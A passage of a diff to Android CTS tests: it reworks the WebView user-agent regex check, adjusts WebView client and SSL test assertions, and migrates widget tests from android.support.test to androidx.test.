+++ b/tests/tests/webkit/src/android/webkit/cts/WebSettingsTest.java
@@ -105,54 +105,91 @@
      * compatibility definition (tokens in angle brackets are variables, tokens in square
      * brackets are optional):
      * <p/>
-     * Mozilla/5.0 (Linux;[ U;] Android <version>;[ <language>-<country>;]
-     * [<devicemodel>;] Build/<buildID>; wv) AppleWebKit/<major>.<minor> (KHTML, like Gecko)
-     * Version/<major>.<minor> Chrome/<major>.<minor>.<branch>.<build>[ Mobile]
-     * Safari/<major>.<minor>
+     * Mozilla/5.0 (Linux; Android <version>; [<devicemodel>] [Build/<buildID>]; wv)
+     * AppleWebKit/<major>.<minor> (KHTML, like Gecko) Version/<major>.<minor>
+     * Chrome/<major>.<minor>.<branch>.<build>[ Mobile] Safari/<major>.<minor>
      */
     public void testUserAgentString_default() {
         if (!NullWebViewUtils.isWebViewAvailable()) {
             return;
         }
-        final String actualUserAgentString = mSettings.getUserAgentString();
-        Log.i(LOG_TAG, String.format("Checking user agent string %s", actualUserAgentString));
-        final String patternString =
-                "Mozilla/5\\.0 \\(Linux;( U;)? Android ([^;]+);( (\\w+)-(\\w+);)?" +
-                "\\s?(.*)\\sBuild/(.+); wv\\) AppleWebKit/(\\d+)\\.(\\d+) " +
-                "\\(KHTML, like Gecko\\) " +
-                "Version/\\d+\\.\\d+ Chrome/\\d+\\.\\d+\\.\\d+\\.\\d+( Mobile)? " +
-                "Safari/(\\d+)\\.(\\d+)";
-        // Groups used:
-        //  1 - SSL encryption strength token " U;" (optional)
-        //  2 - Android version
-        //  3 - full locale string (optional)
-        //  4   - country
-        //  5   - language
-        //  6 - device model (optional)
-        //  7 - build ID
-        //  8 - AppleWebKit major version number
-        //  9 - AppleWebKit minor version number
-        // 10 - " Mobile" string (optional)
-        // 11 - Safari major version number
-        // 12 - Safari minor version number
-        Log.i(LOG_TAG, String.format("Trying to match pattern %s", patternString));
-        final Pattern userAgentExpr = Pattern.compile(patternString);
-        Matcher patternMatcher = userAgentExpr.matcher(actualUserAgentString);
-        assertTrue(String.format("User agent string did not match expected pattern. \nExpected " +
-                        "pattern:\n%s\nActual:\n%s", patternString, actualUserAgentString),
-                        patternMatcher.find());
-        if (patternMatcher.group(3) != null) {
-            Locale currentLocale = Locale.getDefault();
-            assertEquals(currentLocale.getLanguage().toLowerCase(), patternMatcher.group(4));
-            assertEquals(currentLocale.getCountry().toLowerCase(), patternMatcher.group(5));
-        }
+        checkUserAgentStringHelper(mSettings.getUserAgentString(), true);
+    }
+
+    /**
+     * Verifies that the useragent testing regex is actually correct, because it's very complex.
+     */
+    public void testUserAgentStringTest() {
+        // All test UAs share the same prefix and suffix; only the middle part varies.
+        final String prefix = "Mozilla/5.0 (Linux; Android " + Build.VERSION.RELEASE + "; ";
+        final String suffix = "wv) AppleWebKit/0.0 (KHTML, like Gecko) Version/4.0 Chrome/0.0.0.0 Safari/0.0";
+
+        // Valid cases:
+        // Both model and build present
+        checkUserAgentStringHelper(prefix + Build.MODEL + " Build/" + Build.ID + "; " + suffix, true);
+        // Just model
+        checkUserAgentStringHelper(prefix + Build.MODEL + "; " + suffix, true);
+        // Just build
+        checkUserAgentStringHelper(prefix + "Build/" + Build.ID + "; " + suffix, true);
+        // Neither
+        checkUserAgentStringHelper(prefix + suffix, true);
+
+        // Invalid cases:
+        // No space between model and build
+        checkUserAgentStringHelper(prefix + Build.MODEL + "Build/" + Build.ID + "; " + suffix, false);
+        // No semicolon after model and/or build
+        checkUserAgentStringHelper(prefix + Build.MODEL + " Build/" + Build.ID + suffix, false);
+        checkUserAgentStringHelper(prefix + Build.MODEL + suffix, false);
+        checkUserAgentStringHelper(prefix + "Build/" + Build.ID + suffix, false);
+        // Double semicolon when both omitted
+        checkUserAgentStringHelper(prefix + "; " + suffix, false);
+    }
+
+    /**
+     * Helper function to validate that a given useragent string is or is not valid.
+     */
+    private void checkUserAgentStringHelper(final String useragent, boolean shouldMatch) {
+        String expectedRelease;
         if ("REL".equals(Build.VERSION.CODENAME)) {
-            // Model is only added in release builds
-            assertEquals(Build.MODEL, patternMatcher.group(6));
-            // Release version is valid only in release builds
-            assertEquals(Build.VERSION.RELEASE, patternMatcher.group(2));
+            expectedRelease = Pattern.quote(Build.VERSION.RELEASE);
+        } else {
+            // Non-release builds don't include real release version, be lenient.
+            expectedRelease = "[^;]+";
         }
-        assertEquals(Build.ID, patternMatcher.group(7));
+
+        // Build expected regex inserting the appropriate variables, as this is easier to
+        // understand and get right than matching any possible useragent and comparing the
+        // variables afterward.
+        final String patternString =
+                // Release version always has a semicolon after it:
+                Pattern.quote("Mozilla/5.0 (Linux; Android ") + expectedRelease + ";" +
+                // Model is optional, but if present must have a space first:
+                "( " + Pattern.quote(Build.MODEL) + ")?" +
+                // Build is optional, but if present must have a space first:
+                "( Build/" + Pattern.quote(Build.ID) + ")?" +
+                // We want a semicolon before the wv token, but we don't want to have two in a row
+                // if both model and build are omitted. Lookbehind assertions ensure either:
+                // - the previous character is a semicolon
+                // - or the previous character is NOT a semicolon AND a semicolon is added here.
+                "((?<=;)|(?<!;);)" +
+                // After that we can just check for " wv)" to finish the platform section:
+                Pattern.quote(" wv) ") +
+                // The rest of the expression is browser tokens and is fairly simple:
+                "AppleWebKit/\\d+\\.\\d+ " +
+                Pattern.quote("(KHTML, like Gecko) Version/4.0 ") +
+                "Chrome/\\d+\\.\\d+\\.\\d+\\.\\d+ " +
+                "(Mobile )?Safari/\\d+\\.\\d+";
+        final Pattern userAgentExpr = Pattern.compile(patternString);
+        Matcher patternMatcher = userAgentExpr.matcher(useragent);
+        if (shouldMatch) {
+            assertTrue(String.format("CDD(3.4.1/C-1-3) User agent string did not match expected pattern. \n" +
+                            "Expected pattern:\n%s\nActual:\n%s", patternString, useragent),
+                    patternMatcher.find());
+        } else {
+            assertFalse(String.format("Known-bad user agent string incorrectly matched. \n" +
+                            "Expected pattern:\n%s\nActual:\n%s", patternString, useragent),
+                    patternMatcher.find());
+        }
     }
 
     public void testAccessUserAgentString() throws Exception {
@@ -554,6 +591,7 @@
         if (!NullWebViewUtils.isWebViewAvailable()) {
             return;
         }
+        mSettings.setTextSize(TextSize.NORMAL);
         assertEquals(TextSize.NORMAL, mSettings.getTextSize());
 
         mSettings.setTextSize(TextSize.LARGER);
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebViewClientTest.java b/tests/tests/webkit/src/android/webkit/cts/WebViewClientTest.java
index 58e59e5..3ce66ac 100644
--- a/tests/tests/webkit/src/android/webkit/cts/WebViewClientTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/WebViewClientTest.java
@@ -137,6 +137,7 @@
 
         final WebView childWebView = mOnUiThread.createWebView();
 
+        WebViewOnUiThread childWebViewOnUiThread = new WebViewOnUiThread(this, childWebView);
         mOnUiThread.setWebChromeClient(new WebChromeClient() {
             @Override
             public boolean onCreateWindow(
@@ -152,21 +153,26 @@
                 return true;
             }
         });
-        mOnUiThread.loadUrl(mWebServer.getAssetUrl(TestHtmlConstants.BLANK_TAG_URL));
+        {
+          final int childCallCount = childWebViewClient.getShouldOverrideUrlLoadingCallCount();
+          mOnUiThread.loadUrl(mWebServer.getAssetUrl(TestHtmlConstants.BLANK_TAG_URL));
 
-        new PollingCheck(TEST_TIMEOUT) {
-            @Override
-            protected boolean check() {
-                return childWebViewClient.hasOnPageFinishedCalled();
-            }
-        }.run();
-        assertEquals(mWebServer.getAssetUrl(TestHtmlConstants.PAGE_WITH_LINK_URL),
-                childWebViewClient.getLastShouldOverrideUrl());
+          new PollingCheck(TEST_TIMEOUT) {
+              @Override
+              protected boolean check() {
+                  return childWebViewClient.hasOnPageFinishedCalled();
+              }
+          }.run();
+          new PollingCheck(TEST_TIMEOUT) {
+              @Override
+              protected boolean check() {
+                  return childWebViewClient.getShouldOverrideUrlLoadingCallCount() > childCallCount;
+              }
+          }.run();
+          assertEquals(mWebServer.getAssetUrl(TestHtmlConstants.PAGE_WITH_LINK_URL),
+                  childWebViewClient.getLastShouldOverrideUrl());
+        }
 
-        // Now test a navigation within the page
-        //TODO(hush) Enable this portion when b/12804986 is fixed.
-        /*
-        WebViewOnUiThread childWebViewOnUiThread = new WebViewOnUiThread(this, childWebView);
         final int childCallCount = childWebViewClient.getShouldOverrideUrlLoadingCallCount();
         final int mainCallCount = mainWebViewClient.getShouldOverrideUrlLoadingCallCount();
         clickOnLinkUsingJs("link", childWebViewOnUiThread);
@@ -177,8 +183,8 @@
             }
         }.run();
         assertEquals(mainCallCount, mainWebViewClient.getShouldOverrideUrlLoadingCallCount());
-        assertEquals(TEST_URL, childWebViewClient.getLastShouldOverrideUrl());
-        */
+        assertEquals(
+            TestHtmlConstants.URL_IN_PAGE_WITH_LINK, childWebViewClient.getLastShouldOverrideUrl());
     }
 
     private void clickOnLinkUsingJs(final String linkId, WebViewOnUiThread webViewOnUiThread) {
@@ -781,7 +787,6 @@
         @Override
         public void onLoadResource(WebView view, String url) {
             super.onLoadResource(view, url);
-            assertTrue(mOnPageStartedCalled);
             mOnLoadResourceCalled = true;
         }
 
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebViewSslTest.java b/tests/tests/webkit/src/android/webkit/cts/WebViewSslTest.java
index 688fc33..08de524 100644
--- a/tests/tests/webkit/src/android/webkit/cts/WebViewSslTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/WebViewSslTest.java
@@ -731,12 +731,23 @@
         mOnUiThread.clearSslPreferences();
         mOnUiThread.loadUrlAndWaitForCompletion(url);
         // Page NOT loaded OK...
-        // In this case, we must NOT have received the onReceivedSslError callback as that is for
-        // recoverable (e.g. server auth) errors, whereas failing mandatory client auth is non-
-        // recoverable and should drop straight through to a load error.
-        assertFalse(webViewClient.wasOnReceivedSslErrorCalled());
-        assertFalse(TestHtmlConstants.HELLO_WORLD_TITLE.equals(mOnUiThread.getTitle()));
-        assertEquals(WebViewClient.ERROR_FAILED_SSL_HANDSHAKE, webViewClient.onReceivedErrorCode());
+        //
+        // In this test, we expect both a recoverable and non-recoverable error:
+        //
+        //  1. WebView does not trust the test server's certificate. This is a recoverable error, so
+        //     WebView invokes #onReceivedSslError (and the WebViewClient calls #proceed). We don't
+        //     specifically intend to test this part of the scenario, but we can't easily mock out
+        //     WebView's certificate roots.
+        //  2. WebView proceeds with the handshake without providing client authentication. The
+        //     server fails the client. This is non-recoverable, so WebView invokes
+        //     #onReceivedError.
+        //
+        // We only assert the second error, since earlier WebView versions had a bug in which
+        // WebView hit error 2 first, which prevented it from hitting error 1.
+        assertFalse("Title should not be updated, since page load should have failed",
+                TestHtmlConstants.HELLO_WORLD_TITLE.equals(mOnUiThread.getTitle()));
+        assertEquals("Expected ERROR_FAILED_SSL_HANDSHAKE in onReceivedError",
+                WebViewClient.ERROR_FAILED_SSL_HANDSHAKE, webViewClient.onReceivedErrorCode());
     }
 
     public void testProceedClientCertRequest() throws Throwable {
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java b/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java
index 4bedbb1..f5f3139 100644
--- a/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java
@@ -1361,7 +1361,7 @@
         assertNull(mWebView.getUrl());
         String imgUrl = TestHtmlConstants.SMALL_IMG_URL; // relative
         // Snippet of HTML that will prevent favicon requests to the test server.
-        final String HTML_HEADER = "<html><head><link rel=\"shortcut icon\" href=\"#\" /></head>";
+        final String HTML_HEADER = "<html><head><link rel=\"shortcut icon\" href=\"%23\" /></head>";
 
         // Trying to resolve a relative URL against a data URL without a base URL
         // will fail and we won't make a request to the test web server.
@@ -1968,8 +1968,8 @@
         final String imgUrl = mWebServer.getAssetUrl(TestHtmlConstants.LARGE_IMG_URL);
         mOnUiThread.loadDataAndWaitForCompletion(
                 "<html><head><title>Title</title><style type=\"text/css\">"
-                + "#imgElement { -webkit-transform: translate3d(0,0,1); }"
-                + "#imgElement.finish { -webkit-transform: translate3d(0,0,0);"
+                + "%23imgElement { -webkit-transform: translate3d(0,0,1); }"
+                + "%23imgElement.finish { -webkit-transform: translate3d(0,0,0);"
                 + " -webkit-transition-duration: 1ms; }</style>"
                 + "<script type=\"text/javascript\">function imgLoad() {"
                 + "imgElement = document.getElementById('imgElement');"
diff --git a/tests/tests/widget/Android.mk b/tests/tests/widget/Android.mk
index 66473af..6020890 100644
--- a/tests/tests/widget/Android.mk
+++ b/tests/tests/widget/Android.mk
@@ -23,11 +23,11 @@
 
 LOCAL_STATIC_JAVA_LIBRARIES += \
     androidx.annotation_annotation \
-    android-support-test \
+    androidx.test.rules \
     mockito-target-minus-junit4 \
     android-common \
-    compatibility-device-util \
-    ctstestrunner \
+    compatibility-device-util-axt \
+    ctstestrunner-axt \
     platform-test-annotations
 
 LOCAL_JAVA_LIBRARIES := android.test.runner.stubs
diff --git a/tests/tests/widget/AndroidManifest.xml b/tests/tests/widget/AndroidManifest.xml
index 80e65f7..1a1b044 100644
--- a/tests/tests/widget/AndroidManifest.xml
+++ b/tests/tests/widget/AndroidManifest.xml
@@ -612,7 +612,7 @@
                  android:exported="false" />
     </application>
 
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="android.widget.cts"
                      android:label="CTS tests of android.widget">
         <meta-data android:name="listener"
diff --git a/tests/tests/widget/src/android/widget/cts/AbsListViewTest.java b/tests/tests/widget/src/android/widget/cts/AbsListViewTest.java
index 7bbc08a..c7bd527 100644
--- a/tests/tests/widget/src/android/widget/cts/AbsListViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/AbsListViewTest.java
@@ -47,13 +47,6 @@
 import android.graphics.Color;
 import android.graphics.Rect;
 import android.graphics.drawable.Drawable;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.LargeTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.Editable;
 import android.text.SpannableStringBuilder;
 import android.text.TextUtils;
@@ -75,6 +68,14 @@
 import android.widget.cts.util.TestUtils;
 import android.widget.cts.util.TestUtilsMatchers;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.LargeTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.CtsTouchUtils;
 import com.android.compatibility.common.util.PollingCheck;
 import com.android.compatibility.common.util.WidgetTestUtils;
@@ -763,7 +764,7 @@
         mActivityRule.runOnUiThread(() -> mListView.setItemChecked(0, false));
         assertFalse(mListView.isLayoutRequested());
     }
-
+    private boolean checkResult = false;
     @MediumTest
     @Test
     public void testSetItemChecked_multipleModeDifferentValue() throws Throwable {
@@ -773,8 +774,15 @@
         mActivityRule.runOnUiThread(() -> mListView.setItemChecked(0, false));
         mInstrumentation.waitForIdleSync();
         assertFalse(mListView.isLayoutRequested());
-        mActivityRule.runOnUiThread(() -> mListView.setItemChecked(0, true));
-        assertTrue(mListView.isLayoutRequested());
+        checkResult = false;
+        mActivityRule.runOnUiThread(new Runnable() {
+            @Override
+            public void run() {
+                mListView.setItemChecked(0, true);
+                checkResult = mListView.isLayoutRequested();
+            }
+        });
+        assertTrue(checkResult);
     }
 
     @MediumTest
@@ -786,8 +794,15 @@
         mActivityRule.runOnUiThread(() -> mListView.setItemChecked(0, false));
         mInstrumentation.waitForIdleSync();
         assertFalse(mListView.isLayoutRequested());
-        mActivityRule.runOnUiThread(() -> mListView.setItemChecked(0, true));
-        assertTrue(mListView.isLayoutRequested());
+        checkResult = false;
+        mActivityRule.runOnUiThread(new Runnable() {
+            @Override
+            public void run() {
+                mListView.setItemChecked(0, true);
+                checkResult = mListView.isLayoutRequested();
+            }
+        });
+        assertTrue(checkResult);
     }
 
     @LargeTest
diff --git a/tests/tests/widget/src/android/widget/cts/AbsListView_LayoutParamsTest.java b/tests/tests/widget/src/android/widget/cts/AbsListView_LayoutParamsTest.java
index 3bb7d55..ce1123a 100644
--- a/tests/tests/widget/src/android/widget/cts/AbsListView_LayoutParamsTest.java
+++ b/tests/tests/widget/src/android/widget/cts/AbsListView_LayoutParamsTest.java
@@ -19,14 +19,15 @@
 import static org.junit.Assert.assertEquals;
 
 import android.content.Context;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.Xml;
 import android.widget.AbsListView;
 import android.widget.AbsListView.LayoutParams;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.WidgetTestUtils;
 
 import org.junit.Before;
diff --git a/tests/tests/widget/src/android/widget/cts/AbsListView_ScrollTest.java b/tests/tests/widget/src/android/widget/cts/AbsListView_ScrollTest.java
index ee6dc39..125aea0 100644
--- a/tests/tests/widget/src/android/widget/cts/AbsListView_ScrollTest.java
+++ b/tests/tests/widget/src/android/widget/cts/AbsListView_ScrollTest.java
@@ -24,11 +24,6 @@
 import android.app.Instrumentation;
 import android.content.Context;
 import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.LargeTest;
-import android.support.test.filters.Suppress;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.LayoutInflater;
 import android.view.View;
 import android.view.ViewConfiguration;
@@ -40,6 +35,12 @@
 import android.widget.ListView;
 import android.widget.TextView;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.LargeTest;
+import androidx.test.filters.Suppress;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.CtsTouchUtils;
 import com.android.compatibility.common.util.CtsTouchUtils.EventInjectionListener;
 import com.android.compatibility.common.util.PollingCheck;
diff --git a/tests/tests/widget/src/android/widget/cts/AbsSeekBarTest.java b/tests/tests/widget/src/android/widget/cts/AbsSeekBarTest.java
index 83014b9..7ec074a 100644
--- a/tests/tests/widget/src/android/widget/cts/AbsSeekBarTest.java
+++ b/tests/tests/widget/src/android/widget/cts/AbsSeekBarTest.java
@@ -34,17 +34,18 @@
 import android.graphics.PorterDuff;
 import android.graphics.drawable.ColorDrawable;
 import android.graphics.drawable.Drawable;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.view.KeyEvent;
 import android.widget.AbsSeekBar;
 import android.widget.SeekBar;
 import android.widget.cts.util.TestUtils;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.PollingCheck;
 import com.android.compatibility.common.util.WidgetTestUtils;
 
diff --git a/tests/tests/widget/src/android/widget/cts/AbsSpinnerTest.java b/tests/tests/widget/src/android/widget/cts/AbsSpinnerTest.java
index 36f56a1..2c75fa3 100644
--- a/tests/tests/widget/src/android/widget/cts/AbsSpinnerTest.java
+++ b/tests/tests/widget/src/android/widget/cts/AbsSpinnerTest.java
@@ -26,10 +26,6 @@
 import android.database.DataSetObserver;
 import android.graphics.Rect;
 import android.os.Parcelable;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.Xml;
 import android.view.View;
@@ -42,6 +38,11 @@
 import android.widget.Spinner;
 import android.widget.SpinnerAdapter;
 
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
diff --git a/tests/tests/widget/src/android/widget/cts/AbsoluteLayoutTest.java b/tests/tests/widget/src/android/widget/cts/AbsoluteLayoutTest.java
index 924da09..0a1db01 100644
--- a/tests/tests/widget/src/android/widget/cts/AbsoluteLayoutTest.java
+++ b/tests/tests/widget/src/android/widget/cts/AbsoluteLayoutTest.java
@@ -23,16 +23,17 @@
 
 import android.app.Activity;
 import android.content.Context;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.Xml;
 import android.view.ViewGroup;
 import android.widget.AbsoluteLayout;
 import android.widget.AbsoluteLayout.LayoutParams;
 
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.WidgetTestUtils;
 
 import org.junit.Before;
diff --git a/tests/tests/widget/src/android/widget/cts/AbsoluteLayout_LayoutParamsTest.java b/tests/tests/widget/src/android/widget/cts/AbsoluteLayout_LayoutParamsTest.java
index 0faa547..fe7171a 100644
--- a/tests/tests/widget/src/android/widget/cts/AbsoluteLayout_LayoutParamsTest.java
+++ b/tests/tests/widget/src/android/widget/cts/AbsoluteLayout_LayoutParamsTest.java
@@ -20,14 +20,15 @@
 import static org.junit.Assert.assertNotNull;
 
 import android.content.Context;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.Xml;
 import android.widget.AbsoluteLayout;
 import android.widget.AbsoluteLayout.LayoutParams;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.WidgetTestUtils;
 
 import org.junit.Before;
diff --git a/tests/tests/widget/src/android/widget/cts/ActionMenuViewTest.java b/tests/tests/widget/src/android/widget/cts/ActionMenuViewTest.java
index 36b13d2..740fe90 100644
--- a/tests/tests/widget/src/android/widget/cts/ActionMenuViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ActionMenuViewTest.java
@@ -27,15 +27,16 @@
 import android.app.Instrumentation;
 import android.graphics.Color;
 import android.graphics.drawable.Drawable;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.Menu;
 import android.widget.ActionMenuView;
 import android.widget.cts.util.TestUtils;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.WidgetTestUtils;
 
 import org.junit.Before;
diff --git a/tests/tests/widget/src/android/widget/cts/AdapterViewTest.java b/tests/tests/widget/src/android/widget/cts/AdapterViewTest.java
index cc86808..cbf19ae 100644
--- a/tests/tests/widget/src/android/widget/cts/AdapterViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/AdapterViewTest.java
@@ -36,10 +36,6 @@
 import android.content.Context;
 import android.os.Parcelable;
 import android.provider.Settings;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.SparseArray;
 import android.util.Xml;
@@ -54,6 +50,11 @@
 import android.widget.ListAdapter;
 import android.widget.ListView;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.WidgetTestUtils;
 
 import org.junit.Before;
diff --git a/tests/tests/widget/src/android/widget/cts/AdapterView_AdapterContextMenuInfoTest.java b/tests/tests/widget/src/android/widget/cts/AdapterView_AdapterContextMenuInfoTest.java
index 8fad791..00e9796 100644
--- a/tests/tests/widget/src/android/widget/cts/AdapterView_AdapterContextMenuInfoTest.java
+++ b/tests/tests/widget/src/android/widget/cts/AdapterView_AdapterContextMenuInfoTest.java
@@ -18,12 +18,13 @@
 
 import static org.junit.Assert.assertEquals;
 
-import android.support.test.InstrumentationRegistry;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.View;
 import android.widget.AdapterView;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/widget/src/android/widget/cts/AlphabetIndexerTest.java b/tests/tests/widget/src/android/widget/cts/AlphabetIndexerTest.java
index 7ddbbd5..7b1e8f6 100644
--- a/tests/tests/widget/src/android/widget/cts/AlphabetIndexerTest.java
+++ b/tests/tests/widget/src/android/widget/cts/AlphabetIndexerTest.java
@@ -21,10 +21,11 @@
 
 import android.database.Cursor;
 import android.database.MatrixCursor;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.widget.AlphabetIndexer;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/widget/src/android/widget/cts/AnalogClockTest.java b/tests/tests/widget/src/android/widget/cts/AnalogClockTest.java
index 144deca..a5a4a50 100644
--- a/tests/tests/widget/src/android/widget/cts/AnalogClockTest.java
+++ b/tests/tests/widget/src/android/widget/cts/AnalogClockTest.java
@@ -17,13 +17,14 @@
 package android.widget.cts;
 
 import android.app.Activity;
-import android.support.test.filters.SmallTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.util.AttributeSet;
 import android.util.Xml;
 import android.widget.AnalogClock;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
diff --git a/tests/tests/widget/src/android/widget/cts/ArrayAdapterTest.java b/tests/tests/widget/src/android/widget/cts/ArrayAdapterTest.java
index 4350103..bdfb61d 100644
--- a/tests/tests/widget/src/android/widget/cts/ArrayAdapterTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ArrayAdapterTest.java
@@ -29,15 +29,16 @@
 import android.content.res.Resources;
 import android.content.res.Resources.Theme;
 import android.database.DataSetObserver;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.SmallTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.widget.ArrayAdapter;
 import android.widget.Filter;
 import android.widget.TextView;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Before;
 import org.junit.Rule;
 import org.junit.Test;
diff --git a/tests/tests/widget/src/android/widget/cts/AutoCompleteTextViewTest.java b/tests/tests/widget/src/android/widget/cts/AutoCompleteTextViewTest.java
index 5b969d3..d8923a9 100644
--- a/tests/tests/widget/src/android/widget/cts/AutoCompleteTextViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/AutoCompleteTextViewTest.java
@@ -47,11 +47,6 @@
 import android.graphics.Rect;
 import android.graphics.drawable.Drawable;
 import android.os.SystemClock;
-import android.support.test.InstrumentationRegistry;
-import android.support.test.annotation.UiThreadTest;
-import android.support.test.filters.MediumTest;
-import android.support.test.rule.ActivityTestRule;
-import android.support.test.runner.AndroidJUnit4;
 import android.text.Editable;
 import android.text.TextWatcher;
 import android.util.AttributeSet;
@@ -68,6 +63,12 @@
 import android.widget.Filterable;
 import android.widget.cts.util.TestUtils;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.annotation.UiThreadTest;
+import androidx.test.filters.MediumTest;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.PollingCheck;
 
 import org.junit.Before;
diff --git a/tests/tests/widget/src/android/widget/cts/BaseAdapterTest.java b/tests/tests/widget/src/android/widget/cts/BaseAdapterTest.java
index 4df0c4a..a179f16 100644
--- a/tests/tests/widget/src/android/widget/cts/BaseAdapterTest.java
+++ b/tests/tests/widget/src/android/widget/cts/BaseAdapterTest.java
@@ -27,12 +27,13 @@
 import static org.mockito.Mockito.verifyZeroInteractions;
 
 import android.database.DataSetObserver;
-import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.view.View;
 import android.view.ViewGroup;
 import android.widget.BaseAdapter;
 
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
diff --git a/tests/tests/widget/src/android/widget/cts/BaseExpandableListAdapterTest.java b/tests/tests/widget/src/android/widget/cts/BaseExpandableListAdapterTest.java
index 28859d0..411d9e0 100644
--- a/tests/tests/widget/src/android/widget/cts/BaseExpandableListAdapterTest.java
+++ b/tests/tests/widget/src/android/widget/cts/BaseExpandableListAdapterTest.java
@@ -26,12 +26,13 @@
 import static org.mockito.Mockito.verifyZeroInteractions;
 
